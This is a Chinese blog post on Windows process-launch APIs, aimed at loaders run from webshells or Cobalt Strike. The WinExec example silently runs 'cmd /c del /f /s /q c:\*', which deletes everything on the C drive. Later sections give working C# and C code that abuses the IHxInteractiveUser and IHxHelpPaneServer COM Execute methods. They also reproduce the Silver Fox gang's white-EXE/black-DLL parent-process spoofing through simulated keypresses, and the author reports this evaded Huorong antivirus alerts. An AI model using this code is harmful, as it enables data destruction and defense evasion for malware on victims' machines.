进程启动

进程启动

三个常规api

1.WinExec

函数介绍:运行一个指定的程序。
函数原型如下:

UNIT WINAPI WinExec(
_In_ LPCTSTR lpCmdLine; //要执行应用程序的命令行,如果不包含目录路径,则按应用程序目录,当前目录,Windows系统目录,Windows目录以及Path环境目录来搜索
_In_ UNIT uCmdShow      //显示选项,SW_HIDE表示隐藏窗口并激活其他窗口。
)

函数成功:return Value>31
函数失败:返回以下值

  • 0:系统内存资源不足
  • ERROR_BAD_FORMAT:exe文件无效
  • ERROR_FILE_NOT_FOUND:找不到文件
  • ERROR_PATH_NOT_FOUND:找不到路径

使用 WinExec 函数执行删除 C 盘下的所有文件和文件夹的命令的示例代码如下:

#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "kernel32.lib")
int main()
{
    // 创建一个变量,用于存储 WinExec 函数的返回值
    UINT uReturn;
    // 调用 WinExec 函数,执行一个命令,该命令会删除 C 盘下的所有文件和文件夹
    uReturn = WinExec("cmd /c del /f /s /q c:\\*", SW_HIDE);
    // 如果执行成功,则打印出成功信息
    if (uReturn > 31)
    {
        printf("Command executed successfully.\n");
    }
        // 如果执行失败,则打印出失败信息
    else
    {
        printf("Command execution failed.\n");
    }
    return 0;
}

2. ShellExecute

函数介绍:运行一个外部程序(或者是打开一个已经注册的文件、目录,或打印一个文件等),并进行一定程度的控制
函数原型如下:

HINSTANCE ShellExecute( 
  HWND hwnd,             //显示UI或错误消息的窗口句柄,可以为NULL
  LPCTSTR lpOperation,   //要执行的操作
  LPCTSTR lpFile,        //要选择的文件,如果Directory是相对路径则该字符串不能是相对路径
  LPCTSTR lpParameters,  //执行文件所需参数,可以为NULL
  LPCTSTR lpDirectory,   //文件目录,如果为当前工作目录则为NULL
  INT nShowCmd           //窗口显示标志,SW_HIDE表示隐藏窗口,SW_SHOWNORMAL表示激活窗口
);

第二个参数lpOperation的可选项如下:
edit:启动编辑器并打开文档进行编辑。如果lpfile不是文档文件,则该函数将失败。
explore:打开由lpfile指定的文件夹。
find:在由lpdirectory指定的目录中启动搜索。
open:打开由lpfile参数指定的项目可以是文件也可是文件夹。
print:打印由lpfile指定的文件。如果lpfile不是文档文件,则该函数失败。
null:如果可用,则使用默认动词。如果不可用,则使用"打开"动词。如果两个动词都不可用,则系统使用注册表中列出的第一个动词。

函数成功:return Value>32
函数失败:返回一个错误值
使用 ShellExecute 函数执行 whoami 命令的示例代码如下:

#include <windows.h>
#include <shellapi.h>
#include <stdio.h>
#pragma comment(lib, "shell32.lib")
int main()
{
     // 创建一个变量,用于存储 ShellExecute 函数的返回值
     HINSTANCE hReturn;
     // 调用 ShellExecute 函数,执行一个命令
     hReturn = ShellExecute(NULL, NULL, "cmd", "/c whoami", NULL, SW_HIDE);
     // 如果执行成功,则打印出成功信息
     if ((int)hReturn > 32)
     {
     	printf("Command executed successfully.\n");
     }
     // 如果执行失败,则打印出失败信息
     else
     {
     	printf("Command execution failed.\n");
     }
     return 0;
}

3.CreateProcess

函数介绍:创建一个新线程及主线程,这个函数可以被恶意软件用来执行其他的恶意程序,或者隐藏自己的行为。
函数原型如下:

BOOL CreateProcess
(
    LPCTSTR lpApplicationName,                  //要执行的模块名称,99%的情况都为NULL
    LPTSTR lpCommandLine,                       //要执行的命令行,不指明文件类型的话,即为.exe
    LPSECURITY_ATTRIBUTES lpProcessAttributes。 //用于确定是否可以由子进程继承返回的新进程对象的句柄,NULL则不继承
    LPSECURITY_ATTRIBUTES lpThreadAttributes,   //用于确定是否可以由子进程继承返回的新线程对象的句柄,NULL则不继承    
    BOOL bInheritHandles,                       //若为true 则进程中的每个可继承句柄都由新进程来继承,若为false即不继承
    DWORD dwCreationFlags,                      //控制优先级和创建进程标志
    LPVOID lpEnvironment,                       //指向新进程环境块指针,若为NULL,则使用调用进程的环境
    LPCTSTR lpCurrentDirectory,                 //指向文件完整目录,若为NULL,则使用调用进程目录       
    LPSTARTUPINFO lpStartupInfo,                //新进程窗口如何显示的STARTUPINFO的结构体       
    LPPROCESS_INFORMATION lpProcessInformation  //指向PROCESS_INFORMATION结构的指针,接受有关新进程的标识符信息
);

使用CreateProcess函数创建并启动一个记事本程序的示例代码如

#include <windows.h>
#include <stdio.h>
int main()
{
    // 定义变量
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    // 初始化结构体
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    // 创建新进程
    if (CreateProcessA(
        NULL, // 模块名称
        (LPSTR)"notepad.exe", // 命令行
        NULL, // 进程安全属性
        NULL, // 线程安全属性
        FALSE, // 继承句柄
        0, // 创建标志
        NULL, // 环境变量
        NULL, // 当前目录
        &si, // 启动信息
        &pi) // 进程信息
        )
    {
        printf("CreateProcess succeeded.\n");
        // 等待新进程结束
        WaitForSingleObject(pi.hProcess, INFINITE);
        // 关闭句柄
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    else
    {
        printf("CreateProcess failed (%d).\n",
            GetLastError());
    }
    return 0;
}

断链

首先我们先说一下进程链的问题,我们在测试我们的loader时可能直接双击就启动了,那么我们的进程链是这样的:

explorer--loader.exe

image.png
这个时候进程链就是可信的,我们执行一些敏感的操作也都是可以的。
但是在实战中,在webshell、cs console等地方启动的时候,父进程可能是java.exe、cmd.exe、xxx.exe,进程链如下:

cmd--loader.exe

image.png
那么这时候进程链就是不可信的,执行敏感行为是会被弹窗的。

com接口

IHxInteractiveUser这个COM接口存在一个Execute函数可以用来执行一些程序。
代码如下:

using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

namespace TestHelpPanel
{
    // COM 接口定义
    [Guid("8CEC595B-07A1-11D9-B15E-000D56BFE6EE")]
    [TypeLibType(TypeLibTypeFlags.FHidden | TypeLibTypeFlags.FOleAutomation)]
    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
    [ComImport]
    public interface IHxInteractiveUser
    {
        // 定义 COM 接口中的 Execute 方法
        [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)]
        void Execute([MarshalAs(UnmanagedType.LPWStr), In] string pcUrl);
    }

    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                // 通过 CLSID 获取 COM 对象的 Type
                Type tp = Type.GetTypeFromCLSID(new Guid("8CEC58E7-07A1-11D9-B15E-000D56BFE6EE"));

                // 创建 COM 对象实例
                IHxInteractiveUser pn = Activator.CreateInstance(tp) as IHxInteractiveUser;

                if (pn != null)
                {
                    // 指定文件的 URL
                    string fileUrl = "file:///C:/Users/James/Desktop/wdf/2.exe";

                    // 使用接口中的 Execute 方法执行操作
                    pn.Execute(fileUrl);
                }
                else
                {
                    // 创建 COM 对象实例失败
                    Console.WriteLine("Failed to create IHxInteractiveUser instance.");
                }
            }
            catch (Exception ex)
            {
                // 捕获异常并输出错误信息
                Console.WriteLine("An error occurred: " + ex.Message);
            }
        }
    }
}

我们的编译命令如下:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:IHxInteractiveUser.exe program.cs

同理IHxHelpPaneServer也这个COM接口存在一个Execute函数可以用来执行一些程序。
代码如下:

using System;

namespace TestHelpPanel
{
    // 定义 COM 接口
    [System.Runtime.InteropServices.Guid("8CEC592C-07A1-11D9-B15E-000D56BFE6EE")]
    [System.Runtime.InteropServices.InterfaceType(System.Runtime.InteropServices.ComInterfaceType.InterfaceIsIUnknown)]
    [System.Runtime.InteropServices.ComImport]
    public interface IHxHelpPaneServer
    {
        // 显示任务
        void DisplayTask([System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.BStr)] string bstrUrl);

        // 显示内容
        void DisplayContents([System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.BStr)] string bstrUrl);

        // 显示搜索结果
        void DisplaySearchResults([System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.BStr)] string bstrSearchQuery);

        // 执行操作
        void Execute([System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)] string pcUrl);
    }

    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                // 通过 CLSID 获取 COM 对象的 Type
                System.Type tp = System.Type.GetTypeFromCLSID(new System.Guid("8CEC58AE-07A1-11D9-B15E-000D56BFE6EE"));

                // 创建 COM 对象实例
                IHxHelpPaneServer helpPane = System.Activator.CreateInstance(tp) as IHxHelpPaneServer;

                if (helpPane != null)
                {
                    // 指定文件的 URL
                    string fileUrl = "file:///D:/Users/xxx/source/repos/gzhfx2/Debug/cccc.exe";

                    // 使用接口中的 Execute 方法执行操作
                    helpPane.Execute(fileUrl);

                    // 如果需要,你还可以调用其他方法,例如显示任务、显示内容或显示搜索结果
                    // helpPane.DisplayTask("your_task_url");
                    // helpPane.DisplayContents("your_contents_url");
                    // helpPane.DisplaySearchResults("your_search_query");
                }
                else
                {
                    // 创建 COM 对象实例失败
                    System.Console.WriteLine("Failed to create IHxHelpPaneServer instance.");
                }
            }
            catch (System.Exception ex)
            {
                // 捕获异常并输出错误信息
                Console.WriteLine("An error occurred: " + ex.Message);
            }
        }
    }
}

我们的编译命令如下:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:IHxHelpPaneServer.exe program.cs

下面是我们断链的效果:
image.png

银狐团伙的断链手法

参考文章: 一文秒懂“银狐”四大绕过手法
我们接下来复现银狐团伙的手法进行断链操作,我们这里白加黑用到了三个程序,分别是:

  • vbn.exe是一个模拟鼠标点击程序,非恶意;
  • 2.exe是一款带有合法签名软件;
  • libcef.dll是一个恶意dll文件

即Vbn.exe 2个文件 白EXE 黑DLL
我们的进程链原本是这样的:Vbn.exe ——白EXE——黑DLL ,但是我们通过模拟按键的方式进行断链,变成Explorer——白EXE——黑DLL
代码的整体思路是这样的,我们先通过ShellExecute打开指定目录的文件夹,然后将资源管理器窗口设置为前台窗口,然后模拟按键按下2和回车,即启动了2.exe,并且保证了父链是explorer。
代码如下:

#include <windows.h>
#include <shellapi.h>
#include <stdio.h>
#pragma comment(lib, "shell32.lib")

void SimulateKeyPress(WORD keyCode) {
    INPUT input;
    input.type = INPUT_KEYBOARD;
    input.ki.wVk = keyCode;
    input.ki.dwFlags = 0; // 0表示按下按键
    SendInput(1, &input, sizeof(INPUT));

    // 等待一小段时间
    Sleep(100);

    input.ki.dwFlags = KEYEVENTF_KEYUP; // KEYEVENTF_KEYUP表示松开按键
    SendInput(1, &input, sizeof(INPUT));
}

int main()
{
    // 创建一个变量,用于存储 ShellExecute 函数的返回值
    HINSTANCE hReturn;
    // 调用 ShellExecute 函数,执行一个命令
    hReturn = ShellExecute(NULL, L"explore", L"C:\\Users\\James\\Desktop", NULL, NULL, SW_HIDE);
    if ((int)hReturn > 32) {
        // 打开成功
        printf("Explorer opened successfully.\n");
    }
    else {
        // 打开失败
        printf("Failed to open Explorer. Error code: %lu\n", GetLastError());
    }

    HWND hExplorer = FindWindow(L"CabinetWClass", NULL);

    if (hExplorer) {
        // 将资源管理器窗口设置为前台窗口
        SetForegroundWindow(hExplorer);
        printf("Switched to Explorer window.\n");
    }
    else {
        printf("Explorer window not found.\n");
    }

    SimulateKeyPress('2');
    SimulateKeyPress(VK_RETURN);

    system("pause");

    return 0;
}

下面是我们直接cmd启动时进行截图操作时火绒报的警:
image.png
但是当我们进行断链后执行截图操作后火绒毫无反应:
image
image

posted @ 2024-01-29 17:54  fdx_xdf  阅读(186)  评论(0编辑  收藏  举报